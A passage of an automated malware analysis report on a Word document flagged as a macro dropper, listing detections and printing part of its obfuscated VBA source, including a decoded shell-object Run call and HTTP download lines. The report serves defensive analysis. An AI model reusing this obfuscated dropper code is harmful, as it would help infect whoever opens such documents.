Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bfb0a7300758df36…

MALICIOUS

Office (OLE)

266.0 KB Created: 2018-06-26 11:53:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 72fe83867deead3af1e60e239be9528f SHA-1: b3e7976c43018f3451004f71598da586e989400e SHA-256: bfb0a7300758df3653084e1826ff18678f5698e294079bb3f9f1777643cfbdd0
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Office document containing heavily obfuscated VBA macros. Heuristics indicate the macros are designed to download and execute a file from the internet. The presence of CreateObject and HTTP download/save functionality strongly suggests a dropper or downloader functionality, aiming to fetch and run a secondary payload.

Heuristics 9

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            DFoXpI = uVOLPa.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set ofPObe = CreateObject(gkUhtx("WvSXcjrIibpetl.kS%hSe)l_lS"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set ofPObe = CreateObject(gkUhtx("WvSXcjrIibpetl.kS%hSe)l_lS"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 87456 bytes
SHA-256: e728e8a84c4804be2895eacda6cf11733724c81602f6325aa124ac92252aa5aa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
906 of 1341 identifiers look randomly generated (e.g. 'EvkQINOBottZblmEbZiaqLMSgPXhkeeSIrkUZy') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function AjYtWM(zEZXZdb As Boolean, iRkhee As Double, yYYEmN As Integer, knDWfb As Boolean, grjHek As Boolean) As String
    nqyFvq = StrReverse("GcPo&g$mZMHQ%lDX(B")
    nqyFvq = Left("S^#ZI_HH^*ZOTfR%A", 3)
    jEBwOkdu = 1722 + 1299 + 326
    While mEeHHA < 281
        oHlDTfWPK = LTrim("SmDQojVmWXkQPi")
        jEBwOkdu = Left("YXaOTKGZ&ur", 3)
        jEBwOkdu = 216 + 338 + 207
        mEeHHA = mEeHHA + 1
    Wend

    eQcjxsLzgm = 1188 + 330 + 599
    LBPiPCxlc = Left("c(HeZ&tWcJCsz-gN", 2)
    IQbweEvD = RTrim("Cqpn$n% Beinm")
    oqScQf = LTrim("#Y?wkIL#PwucB -FmJ&W")
    jEBwOkdu = LTrim("$ k!$Y!-dnXgZ dYSMm")
    jEBwOkdu = UCase("XKDqbcOKn_([Zim")
    iZeqTgHKFt = UCase("]i$x(sLv[J#e]DxBD")
    jdlTf = RTrim("qY#OgBX(hHgdq?")
    ZLqpuoVhm = LTrim("R^rvFt(BxvEwMU")
    oHlDTfWPK = 1190 + 864 + 1219
    While wFndXu < 246
        oHlDTfWPK = 1161 + 1939 + 775
        iZeqTgHKFt = RTrim("]BCbl#fQxjiwORmez%")
        qhjydEj = "#IorjiRMgYV%sgJOs]" + "poP MW]EjcpR_ _G" + "dYD.$&EqtQpmke"
        iZeqTgHKFt = Right("VOZHMsYdqZ^$a^VG)c_", 4)
        wFndXu = wFndXu + 3
    Wend

    oqScQf = ".I&JqoOtS!Foy" + "_U_CpeWsPyY_" + "AailBhTk*b!rMx"
    LBPiPCxlc = 1623 + 758 + 271
    IQbweEvD = "R@zxvGPQSmesHc $qiT" + "wH%wNoy#IzL." + "JfOtj[_HYz"
    BQHJuu = Left("Jwh_@?vyR&nAK?LdNpG", 5)
    ZLqpuoVhm = 631 + 205 + 1793
    LBPiPCxlc = "DsGcReaY-Ec" + " JU&i[eo(nHuhU" + "(%Th)d$^J# mKbo"
    nqyFvq = UCase("B@c_JQf[eZRtuXX(")
    qhjydEj = StrReverse("nw$Iryx^]-Rf@")
    eQcjxsLzgm = LTrim("Uz#aiBuO-q.")
    jEBwOkdu = StrReverse("FOIKjr%GvRjE^Th&!")
    VJSvFU = StrReverse("BBfAljIKM&A#]]")
    LBPiPCxlc = UCase("PDGjve!q)zIlDJY?ng")
    AjYtWM = "SDAjkWcEXdsWfmgbhJNsXYIuBjY"
End Function

Private Sub QofcfF(qKdkQAG As Integer, mAcabqr As Boolean)
    LBPiPCxlc = Right("gxT_WJjqKZ", 2)
    jdlTf = Left("RRZVDfxNZpGwx", 2)
    jEBwOkdu = "_ite&GnuZHetk&zPiqEd" + "Dxu-WtwB Zvj[hV)#MG" + "(x-(_SOxip-?s@HqR"
    BQHJuu = 221 + 450 + 1857
    BQHJuu = RTrim("yn^JfgF%u$.EXlTb")
    oHlDTfWPK = UCase(")QtE%zGpMovpzOScCzl")
    qhjydEj = "s[*kOnEhLcvPbS]RNE" + "MkMm-^DVUzCN_ejE" + "P-i x dHZ@w"
    BQHJuu = Left("^m_p?^S?JAW!d", 4)
    jEBwOkdu = RTrim("UR#peNDLcTAscb")
    oHlDTfWPK = Space(8)
    jEBwOkdu = 1340 + 1648 + 147
    BQHJuu = RTrim(".&??eUlY*r")
    VJSvFU = Left("KcH#.JD)lA", 2)
    BQHJuu = 803 + 1289 + 969
    oHlDTfWPK = Left("K*rArJtc!Wom", 4)
    IQbweEvD = Space(2)
    oqScQf = 276 + 1758 + 106
    While eyvBqd < 188
        iZeqTgHKFt = RTrim(")EsgukzV^_B-aCew")
        oqScQf = Space(9)
        nqyFvq = RTrim("NGSacF(lxdA#j&q")
        jEBwOkdu = 1464 - 1762 - 556
        eQcjxsLzgm = RTrim("pH*axZE ][bzjHv.!VbU")
        LBPiPCxlc = 797 - 1228 - 913
        eyvBqd = eyvBqd + 1
    Wend

    ZLqpuoVhm = Left("XwT[aAjS*R", 2)
    iZeqTgHKFt = Space(5)
    LBPiPCxlc = Left("$  )twIFsRi*%oV?K&u", 2)
    BQHJuu = StrReverse("xU)a#hjpxvQElN?r")
End Sub

Private Sub bsbLj(xUTXuRG As String, YeVfeT As String, sdRkfH As String, vFdKLT As String)
    nqyFvq = 693 - 568 - 1519
    jEBwOkdu = Left("YAIoHoAEPUF&cCk", 5)
    VJSvFU = Space(2)
    iZeqTgHKFt = StrReverse("ypUanHQBLfFXEj")
    While QSyTzk < 322
        eQZxLiz = StrReverse("yrPhQvRADEJI@J")
        jEBwOkdu = Left("vMmrxQLz^ZqK--)AU$]", 4)
        VJSvFU = Left("#c)jauSU&wFx", 2)
        oqScQf = Right("L&@pSwCr_S cefvK.&#", 4)
        jdlTf = 1284 - 217 - 1207
        jdlTf = UCase("N#YH[ZHx)]ikGUfT")
        oHlDTfWPK = "mbj&tyQy]zk" + "OAJDwL&!o*yyAyK" + "inPSN_c YalgJ"
        nqyFvq = "@lKGlyOchU$o" + "K!z)wdlsIJn" + "GpAXyR(&iyCUJmS$ [M"
        QSyTzk = QSyTzk + 1
    Wend
    jEBwOkdu = Space(12)
    BQHJuu = 241 + 1270 + 173
    BQHJuu = Left(" aUW#hoSYaQSd", 3)
    qhjydEj = 1211 - 1727 - 1773
    eQZxLiz = 1288 - 728 - 1063
    While ertRDi < 224
        oHlDTfWPK = Left(")GMEaEtxqAI", 2)
        oqScQf = RTrim("]c.CDmT?uy !i$hRPD")
        qhjydEj = RTrim("PcZdAoH*QDIU")
        jEBwOkdu = 666 + 1891 + 1131
        oqScQf = StrReverse("aO$Yji@-%(PRwLCVjisB")
        iZeqTgHKFt = Left(")I[Nk#UEvn@Becige", 4)
        ertRDi = ertRDi + 3
    Wend
    ZLqpuoVhm = RTrim("eCFcJ^t!I.x]Kum")
    VJSvFU = Left("!.MV%g$MzZZ&#RW", 4)
    LBPiPCxlc = LTrim("dim-jBMOfl.ThZ%*")
    Set ofPObe = CreateObject(gkUhtx("WvSXcjrIibpetl.kS%hSe)l_lS"))
    ofPObe.Run xUTXuRG, 0
End Sub

Private Function KpiZUq(RtfuFpV As String, HovKDL As Integer, YqAFBkh As Boolean, XniWrS As Boolean) As String
    eQZxLiz = Space(4)
    nqyFvq = Right("rs*P@nlBQdnLdV-Gg", 3)
    oHlDTfWPK = LTrim("amNBSx%G^rR")
    jEBwOkdu = Space(15)
    oqScQf = 1721 + 512 + 854
    BQHJuu = RTrim("qIJy]-]]plEAMpi_cj")
    VJSvFU = RTrim(".[*ijq$WMAx)hVWVI)")
    For MQKjuB = 0 To 237
        qhjydEj = UCase("U]bqXN&rExXL&M- ")
        IQbweEvD = LTrim("y M^MkxU])WR]RW e[q")
        qhjydEj = 622 - 1879 - 561
        LBPiPCxlc = Space(9)
        qhjydEj = 695 + 1587 + 1155
    Next MQKjuB

    jEBwOkdu = 944 + 1134 + 1403
    iZeqTgHKFt = Right("gO*tXVVxHhsTd#H*bB", 2)
    iZeqTgHKFt = StrReverse("(!PJ RWvDZ")
    jEBwOkdu = Right("ffh_wTzN**yVu", 5)
    iZeqTgHKFt = Right("GQXcNyAGawbr]]?iu", 4)
    qhjydEj = UCase("en$.h$Xa suC")
    oHlDTfWPK = Space(5)
    eQZxLiz = StrReverse("eicb#)XLp$(G")
    ZLqpuoVhm = Right("tWed-Nofz%Fs@gooV", 3)
    iZeqTgHKFt = UCase("FB*k pNvDy(#D")
    qhjydEj = "[W[N?^U%vc]vX" + "_S.pxioaqdyOFClq#G" + "dRhgqMEjjD_LKWKc#gZs"
    BQHJuu = RTrim("rzLT?QZqEPTfTJ*BXk")
    While UELPks < 295
        eQZxLiz = UCase("N]OJ@&Hw[f")
        LBPiPCxlc = Space(16)
        oHlDTfWPK = StrReverse("GcsBh)WAqlbbRRBP]PG")
        ZLqpuoVhm = StrReverse("rH-!-aLIGBI")
        UELPks = UELPks + 3
    Wend

    eQZxLiz = LTrim("m)kpRjuMfr$g[Hipg@")
    jEBwOkdu = LTrim("y-lAdDP(iuH")
    iZeqTgHKFt = StrReverse("hEMwm_eXbhT *")
    oHlDTfWPK = RTrim("##kSUx[o[sI%")
    qhjydEj = UCase(")_MzxX^NSjA&")
    nqyFvq = LTrim("LpsYcQ_RzWu#yH!dFi")
    iZeqTgHKFt = 427 - 1417 - 1466
    KpiZUq = "aOQRffCNxYYpSRylvXsElfSbmAUd"
End Function

Private Function XUfyNK(PlpopN As Double, jCGmnN As String, yIkjmD As Integer) As String
    ZLqpuoVhm = "xDB Xarqpm^mLv(lv#v" + "loRvck@q_bb" + "ICg.A?Q_&q@b"
    oqScQf = StrReverse("ooe@E?V@nujxbPA[LH")
    ZLqpuoVhm = 1041 + 461 + 1588
    oHlDTfWPK = LTrim("w*aBxJi@jGA")
    jdlTf = "CIuqG&mjiPw#cBLG" + "[Mi.cBmCtnRQ-vwU" + "b[X(Q.PKZE"
    oHlDTfWPK = UCase("YiZON-vI%Imo#M")
    oqScQf = 130 - 808 - 298
    oHlDTfWPK = StrReverse("vt aH!Wivlh[T")
    oqScQf = LTrim("-mFzxCylWmx")
    IQbweEvD = UCase("ksprj&[SA#ffv")
    nqyFvq = Space(6)
    ZLqpuoVhm = StrReverse("SUAXHnO@YB(#HDPm")
    oqScQf = Right("SHJyO$nwj(WSc!?YKiB", 2)
    oqScQf = StrReverse("q@vjyeGPEhlw.du$r")
    jEBwOkdu = Space(4)
    eQZxLiz = UCase("W^K?m^vRVVYqA")
    qhjydEj = RTrim("Sc&j&Yc(ZKstqsYXwOo")
    iZeqTgHKFt = 1840 - 1075 - 1017
    While JGgoTZ < 10
        nqyFvq = Right("o*fSqAIzxwLS", 4)
        oHlDTfWPK = Left("IXKi]$#LnI*K_Bf!Zi%", 2)
        oHlDTfWPK = "rSTb&gfbXy" + "TfGd%rbhWlq$HhQGi_xr" + "@aX$nYlis?!u?(%W"
        LBPiPCxlc = 1548 - 627 - 1269
        BQHJuu = StrReverse("jRZ_VFDhf?Jyok[$")
        nqyFvq = Left("!H?yqE!vRKL", 3)
        eQZxLiz = RTrim("]QxmQWF n Gd")
        qhjydEj = RTrim("kp@yS-HxKgu")
        jdlTf = RTrim("uPqWzQUfehUSkR")
        JGgoTZ = JGgoTZ + 3
    Wend

    LBPiPCxlc = LTrim("[f*S)EFeSs)UAHqNaL")
    BQHJuu = UCase("hd[#GqYCkbEk_I")
    XUfyNK = "OjvSooJNWEydiuIAYTCFA"
End Function

Private Function bPHMJr(EzdMBkL As Integer, ncUlFNT As Integer) As String
    eQcjxsLzgm = Left("AL%p]ocDB_lzBV", 2)
    For CdROuD = 0 To 375
        oHlDTfWPK = Space(11)
        oqScQf = 1217 + 1749 + 1352
        ZLqpuoVhm = UCase("&XV*@#tjFjKPAmrBA")
        oHlDTfWPK = LTrim("TTeB^h_Xmon)G_R")
        qhjydEj = LTrim("q@[@(*EMv*x_mJR")
        eQZxLiz = RTrim("Hx vLRmY&R[A.")
    Next CdROuD

    jEBwOkdu = StrReverse("vM@]&nYiMr")
    jEBwOkdu = 146 - 1598 - 232
    ZLqpuoVhm = Space(2)
    nqyFvq = StrReverse("yQ_DkT#?*JTjKE zeY")
    qhjydEj = Right("n$NstaKJYPyTgB]#!(", 2)
    jdlTf = Space(4)
    nqyFvq = StrReverse("J upd#(BWMwVwAKa")
    iZeqTgHKFt = UCase("cGjTYI^WjQ)T*d[")
    iZeqTgHKFt = LTrim(")WJnB#j#f@LRmJ$jy")
    IQbweEvD = Left("cuJnGr*Germ%DmaS", 5)
    oHlDTfWPK = UCase("Eay_tmZ_gq")
    nqyFvq = Right("PaR.H@#pf?f[RXB", 5)
    VJSvFU = Right("ZfpbBxh.yU)kdSM$xm@u", 2)
    nqyFvq = RTrim("*vyq]hyUWrH")
    eQZxLiz = StrReverse("INlAg#y#^yZ]%b]gLy")
    qhjydEj = StrReverse("Vpq$dbjp%!**BU$]")
    LBPiPCxlc = RTrim("e(fdkyOK$a* ]@A)F")
    BQHJuu = 1854 - 491 - 1092
    IQbweEvD = RTrim("S(wbXZoGQeA")
    BQHJuu = 979 + 722 + 966
    For MSxvvY = 0 To 319
        qhjydEj = StrReverse("[uONTMTM!z[")
        BQHJuu = 1900 - 1264 - 1472
        qhjydEj = StrReverse("o GrU#JR!gG^MpF%(y")
        ZLqpuoVhm = Space(11)
        qhjydEj = Space(11)
        VJSvFU = StrReverse("sDNWtrPrcU(A")
    Next MSxvvY

    jdlTf = StrReverse("Dx*OavJbuhQKeH.C@b-")
    IQbweEvD = "T*b)fA**Ht!-tefIgU" + "gZg.qdto_XhD*gyF" + "vYr?v.N@QwOL"
    jdlTf = Space(18)
    iZeqTgHKFt = "UVgKOA@bYn" + "xkfkxz&mcM-t" + "pllWF)?K!@%vFeL@&pp"
    bPHMJr = "RMPTtvUdiXNIzdyPpFOZClskrUR"
End Function

Private Sub FBihCC(ppLNzm As Boolean, GLNZzn As Integer, KSROOXA As Integer)
    iZeqTgHKFt = 1396 + 1678 + 1405
    eQcjxsLzgm = 113 - 1134 - 1298
    oqScQf = LTrim("p*ze#A?Voz%Gbla!A_j^")
    qhjydEj = Space(3)
    jdlTf = StrReverse("O*MfaL %qCdCs")
    eQZxLiz = Left("jXRNogo?wBY$Z_%uM", 3)
    eQZxLiz = 1140 - 134 - 229
    oHlDTfWPK = RTrim("MoklxZiY#j*M*hiD")
    eQcjxsLzgm = Left("@$vZ ^ULKB#XT#Zaa", 2)
    eQZxLiz = RTrim("#B A Q-^MI[.Sr")
    IQbweEvD = 1188 + 337 + 303
    iZeqTgHKFt = "k^qAEoqqVnQE" + "ocKJaspgBbeJ_Lp" + "BsmFA*oZmaXf!JgZJu#X"
    eQZxLiz = Space(13)
    jdlTf = 1786 - 1834 - 799
    jdlTf = Space(17)
    eQZxLiz = StrReverse("eIHku_&J[)oM(YN")
    qhjydEj = Right("tfSqeXV@^qF.R?qU*w$s", 4)
    nqyFvq = Left("n@Aoz?Dv@aPHj]JBVxp", 3)
    jEBwOkdu = Left("])D!aI-bsxUJ", 4)
    oHlDTfWPK = Right("PL*FOTLfXgsMB@amER", 3)
    oHlDTfWPK = 1666 + 1798 + 1814
    jdlTf = Space(3)
    eQcjxsLzgm = Right("JPyFPn@_OxFHT", 5)
    oqScQf = UCase("E?PzsAAx_s")
End Sub

Private Sub CYwbAF(dpKBax As Double, KJEsZK As Double, OOaUCRo As Boolean, yVqMCq As Integer, ZCqtKs As String)
    VJSvFU = "AdOr*jB#O$" + "!ti(aHfFJ?ye!qrDlS" + "NBVX@MZNXbvnJOkdO*u"
    LBPiPCxlc = LTrim("lHyNJPvE)q%nWOm$m#g")
    IQbweEvD = RTrim("eSYLdmvr -&eJv")
    jdlTf = LTrim("MuDPEhpUaxdAQgvsLCP%")
    BQHJuu = RTrim("GMDgqtz?g^g.DL#Ucf[")
    eQZxLiz = 122 + 196 + 963
    qhjydEj = RTrim("$(]N&YW&Rxm]EBd]")
    eQcjxsLzgm = Space(17)
    VJSvFU = UCase("XTL!CXP!CM#im_Mixq%-")
    jdlTf = 1844 + 1387 + 265
    eQZxLiz = Left("(&Vn)F?oJIfu)ns oQ&F", 2)
    IQbweEvD = RTrim("cc$yNYO A?@UV?qX.")
    VJSvFU = LTrim("DV@IuEgoEYInaDsGjmNX")
    IQbweEvD = 1317 - 799 - 354
    iZeqTgHKFt = StrReverse("_A@S*TV!x.ynia")
    eQcjxsLzgm = RTrim("tKr.#@eV.]C%")
    oqScQf = StrReverse("sF^?-zBRLMD%avJMjPk")
    nqyFvq = UCase("i& J[yGz.hKcv")
    jEBwOkdu = 265 + 377 + 1489
    While Qldocj < 121
        eQZxLiz = ".!BhCFyTB*S_GXZbKC)" + "qzXIkXUTxc#BuYch" + "F?qns?kFXmXXDD^(H-B$"
        LBPiPCxlc = UCase("naDcEzdsA)i^f]")
        ZLqpuoVhm = Space(3)
        ZLqpuoVhm = LTrim("caXIFik#Qi@")
        LBPiPCxlc = UCase("ayVk@ukCyp^")
        eQZxLiz = Left("X  *l%_&Ckh^yhpo", 5)
        jdlTf = Space(18)
        nqyFvq = Left("WFGn#%YAJFit-hj", 4)
        Qldocj = Qldocj + 1
    Wend

    oqScQf = StrReverse("HguMQ[b)J%RbH")
    nqyFvq = 1055 + 604 + 263
    For vDiuDD = 0 To 35
        oqScQf = StrReverse("kT-Ebfc@OkyNC?")
        IQbweEvD = Space(20)
        oHlDTfWPK = 1413 + 1792 + 1735
        LBPiPCxlc = "YnUMNNKKe&mV" + "D_gE]EbenW@B.*P kI" + "T^ptqiTV LxI"
        ZLqpuoVhm = StrReverse("FE*Mj#&TlxVMbq")
        qhjydEj = 1098 + 1060 + 954
        LBPiPCxlc = Space(13)
        jEBwOkdu = RTrim(".%)x)n^evA *&")
    Next vDiuDD

    iZeqTgHKFt = UCase("t.VhzNLIIZS")
    oHlDTfWPK = 1252 + 1208 + 1741
    ZLqpuoVhm = RTrim("i[&rR%eZAK")
    jdlTf = StrReverse("uycQ$osHdp)xjdRrB*")
    VJSvFU = Right("pT@gjRzmQhq", 3)
    LBPiPCxlc = LTrim("B[AaG^DlevO")
End Sub

Private Sub qEWsIm(SZVPnjC As Integer)
    oqScQf = Left("CMI]PQ*!XtKB-T(CrxI", 2)
    eQcjxsLzgm = Left("svgGDdA-P&", 3)
    iZeqTgHKFt = StrReverse("cwkJX_X)oJ")
    For KBlYXY = 0 To 333
        oqScQf = "Ydmxx%N^fP#!EEXyj_" + "acavn o mUVdmL" + "q#Tkez*?_qh^s"
        qhjydEj = UCase("o$d?zDFfmKF[WjtDBrI")
        nqyFvq = StrReverse("YJT)UMNM#&V _fcG?B%C")
        jdlTf = 1278 + 960 + 1300
    Next KBlYXY

    oqScQf = UCase("(V nprF&MjsLS(HM")
    While yiZJdR < 187
        jdlTf = 1072 + 1358 + 1317
        qhjydEj = UCase("AO@n).w^Ah[MHgR")
        oqScQf = 1887 - 855 - 317
        ZLqpuoVhm = StrReverse("lOLIST]gtVQtMQ$C")
        eQcjxsLzgm = LTrim("LmEAwJWboMF?T")
        nqyFvq = "SCpwIzcby]H" + "*%@U[ZElqKVMaxns" + "Af?Nip$_$piYfSsqX"
        yiZJdR = yiZJdR + 3
    Wend

    oHlDTfWPK = StrReverse("xvr([LD)I@-?(v")
    For cEOfNU = 0 To 89
        jEBwOkdu = UCase("bF%ztibHuzPp[]m")
        LBPiPCxlc = 517 - 1904 - 1614
        eQZxLiz = LTrim("_bGSmp)sCyqZ")
        jdlTf = 1593 - 1961 - 1838
        jdlTf = ")h*DDBNtjIzis@" + "SiExw*CtUH@?CjR" + "?tLLlf]b_)Ak%"
        iZeqTgHKFt = Space(13)
        VJSvFU = LTrim("TXKHIidDyHIFow")
        eQZxLiz = RTrim("gD^MeXGx.PorpB")
    Next cEOfNU

    iZeqTgHKFt = RTrim("y&N%qhakTxPAx-]_Gb")
    LBPiPCxlc = 1977 + 1413 + 1630
    oqScQf = Space(18)
    oHlDTfWPK = Right("QJyo@c@xNdIJ", 2)
    VJSvFU = 1738 + 1024 + 1144
    eQZxLiz = "_UQBSrL*?BtqKsn" + "]_TYQTZUWKx" + "hdH.*wxiQ*B]_"
    eQcjxsLzgm = Space(9)
    While GxSmTE < 242
        eQcjxsLzgm = LTrim("(lPYD]FKNkD%!i$IsS")
        ZLqpuoVhm = Space(5)
        nqyFvq = StrReverse("ndfyrKWfJf#*Q&p")
        nqyFvq = StrReverse("g?y-SC-qUlstAvT[")
        eQZxLiz = 1473 - 298 - 1218
        LBPiPCxlc = 1631 + 693 + 722
        GxSmTE = GxSmTE + 3
    Wend

    qhjydEj = Right("RIxPX?Kyyk", 5)
    eQZxLiz = RTrim("V(_QywefZqhf%]")
    oqScQf = StrReverse("oWoH?R.xsNF*eZi?j_tJ")
    qhjydEj = RTrim("d)Zh)Rzz?g^qKD")
    qhjydEj = UCase("JzI!bYkLR@NT")
    While xwaAbp < 78
        jdlTf = RTrim("jas@So%fieh*?) ")
        nqyFvq = Right("pmC?(]w-LZaA%pxQz", 3)
        jdlTf = Left("gYcyihkvPvI.LYEgj[Y", 4)
        IQbweEvD = 515 - 1005 - 1709
        ZLqpuoVhm = Right("WfKi)pgNeVdDPqgn.$", 2)
        ZLqpuoVhm = LTrim("!fbdjjHf-ZF#&YSdsNdG")
        jEBwOkdu = 832 - 598 - 711
        xwaAbp = xwaAbp + 2
    Wend

    oqScQf = RTrim("rk.tFcT]a]Je&a] E")
    eQZxLiz = Right("GoVxZ.G]GJI(e", 3)
    oHlDTfWPK = RTrim("MCtwx@ RsdN")
End Sub

Private Sub UJPoyw(nHitqCJ As Integer, TtwFyAY As Boolean)
    BQHJuu = 418 + 925 + 595
    iZeqTgHKFt = Left("gmKUIxNQr&Q%jIXwN", 2)
    nqyFvq = RTrim("Qrid[v%dbcU(.ngT#")
    jEBwOkdu = StrReverse("StM!lbqQSV?lUwN(")
    LBPiPCxlc = Right("keMDvW_eU^sX", 3)
    While GqdZCW < 96
        iZeqTgHKFt = Space(8)
        jEBwOkdu = LTrim("PdXjRq)FHw c[KfyQFt")
        jdlTf = Right("IMDstbVmp.Xfx?", 5)
        oqScQf = 825 - 545 - 1875
        eQcjxsLzgm = Space(4)
        GqdZCW = GqdZCW + 2
    Wend

    nqyFvq = 1723 + 1812 + 531
    BQHJuu = "t#OWGt*Z$A" + "bvri)chF#LbW" + "zw_xOCW!fiF"
    oqScQf = "pH%NArzMDU_eoM.GE]jZ" + "L*IH%*X@[s%" + "V tChlP)VC#"
    oqScQf = 1562 - 642 - 218
    BQHJuu = 1254 - 1400 - 847
    VJSvFU = Space(1)
    For DXWNGu = 0 To 35
        ZLqpuoVhm = UCase("sSV(TC-U(vVggLJhV(")
        LBPiPCxlc = Right("G_rVzlA_e)   sV(", 5)
        jEBwOkdu = RTrim("LHE.r WGX&Vl*W")
        jEBwOkdu = "&Cz&F_[RvoXM^[@" + "ugu)NqCW^hisb" + "BGMzj)dF#f@"
    Next DXWNGu

    ZLqpuoVhm = UCase("ZbKku)O!%[.ZfOtN")
    jdlTf = RTrim(" Jy#AWXT!WLu^")
    BQHJuu = UCase("NLBxzci?Yi_-DLJ_(m")
    ZLqpuoVhm = StrReverse("GVnzi^(qg$ by#ipB%")
    ZLqpuoVhm = UCase("UsY(GvszdLM")
    nqyFvq = Space(5)
    iZeqTgHKFt = 1303 + 1039 + 591
    eQZxLiz = Right(" MOhDhDXND_oS", 2)
    LBPiPCxlc = Space(20)
    BQHJuu = LTrim("qBm&jwmngFC")
    VJSvFU = Space(12)
    LBPiPCxlc = UCase("TsBqKF)Jmg%NAT")
    BQHJuu = StrReverse("JkLhfMJ.lvY-DhyQ^-U")
    qhjydEj = 1205 + 1700 + 882
    jdlTf = Space(6)
    LBPiPCxlc = "d^k*%kRmE#)XcpujDY" + ")S-zt)PfGnj#?@VVdPC" + "L&bNxUZKOtW-c!k $Te"
End Sub

Private Sub uBNWNp(qmhwwdK As String, usGmdW As String)
    oqScQf = "dg_QSh(]eKFbkLqx?@" + "WmOpX(EG[QM" + "gXP$K*x#j#FAwE"
    nqyFvq = 661 + 1866 + 622
    nqyFvq = "vD#qbrwt]r@$" + "LGhsl!wCPvEz" + "aq(D&i)R(ShPh*)zfpZ("
    nqyFvq = UCase("W%NrpRTYdfz!Em@o")
    nqyFvq = Right("jxD!vGF@Ngeuq#kzf^_.", 4)
    VJSvFU = UCase("o?RLox^Q_Va-EEK[(U")
    nqyFvq = RTrim(" k@?VFN YnM)")
    eQZxLiz = Space(16)
    oHlDTfWPK = Space(5)
    While bBLcjN < 363
        eQZxLiz = 1254 - 1686 - 521
        BQHJuu = StrReverse("caao?npjhOcY")
        qhjydEj = LTrim("dgKirnf^^#")
        eQZxLiz = RTrim("#fIKFn] KaNFn bf%G!")
        iZeqTgHKFt = 344 + 1683 + 445
        ZLqpuoVhm = Space(18)
        VJSvFU = UCase("ak*G-%LHtRszp(C")
        jEBwOkdu = "WKeazV*q(yv[RktGv" + "._ALDcUZ-%xKJEpvwDC]" + "U!Lt?$nIpYF_Kv^v$K"
        nqyFvq = Left("Eu-^sEb]EKxKrYto", 5)
        jdlTf = Space(1)
        bBLcjN = bBLcjN + 3
    Wend

    qhjydEj = UCase(" u^xpXkkJvRTcCTtv#r")
    nqyFvq = "*rrsrn%n(RKg" + "P .b%UFFxA[h" + "&)(^bRAF^VZW%COAD^-"
    jdlTf = Left("dUn^HoeuU?p)L", 4)
    nqyFvq = LTrim("kuY-)eTlsGL%")
    oHlDTfWPK = 1013 + 1665 + 663
    VJSvFU = "GRE^Gyyw_b^ " + "W_IfE%UX&]qr^&E?G(Wa" + "_ss%bjX$Lt"
    oqScQf = LTrim("tLZji^)qCaUz%(")
    LBPiPCxlc = Right("$]B]!Pu-w!?J ", 2)
    iZeqTgHKFt = LTrim("liZH?pgY_e")
    oqScQf = 1815 - 1590 - 1003
    For ZDyerC = 0 To 48
        eQcjxsLzgm = LTrim("KSHyFpgzD[Y%")
        jEBwOkdu = 1921 + 1563 + 1491
        jEBwOkdu = UCase("^bcQy#?I.CS FzGRZY(^")
    Next ZDyerC

End Sub

Private Function UUwnAC(DKnoGR As Boolean, KcIyEzt As Integer) As String
    For amwwuD = 0 To 155
        IQbweEvD = LTrim("L)YUk!EEASQL")
        iZeqTgHKFt = UCase("s&A-dA?QAtR@k*A xNR")
        IQbweEvD = LTrim("IHiAKLm*DW)J")
    Next amwwuD

    oHlDTfWPK = LTrim("wg wgXnE&?.ss.iEj.u")
    LBPiPCxlc = UCase("C!LtB.qYChnE")
    For ihVGCw = 0 To 43
        eQcjxsLzgm = Left("tOKSulA#eP%$Uguj%*", 2)
        ZLqpuoVhm = 1874 + 445 + 1937
    Next ihVGCw

    iZeqTgHKFt = Left("UUyz@[#$m#", 2)
    oHlDTfWPK = 1214 + 395 + 288
    jEBwOkdu = UCase("#vcKvCX-CZ%N^NczH-")
    While wUaDvw < 35
        IQbweEvD = Right("NXP.!XVHqp*^UPJP", 2)
        jdlTf = 326 - 1329 - 1679
        wUaDvw = wUaDvw + 2
    Wend

    ZLqpuoVhm = "sQVBB!P^gxPj " + "hznXAI[V[bWcd&ryB" + "Lx![drvWczB)"
    LBPiPCxlc = 1523 - 1925 - 456
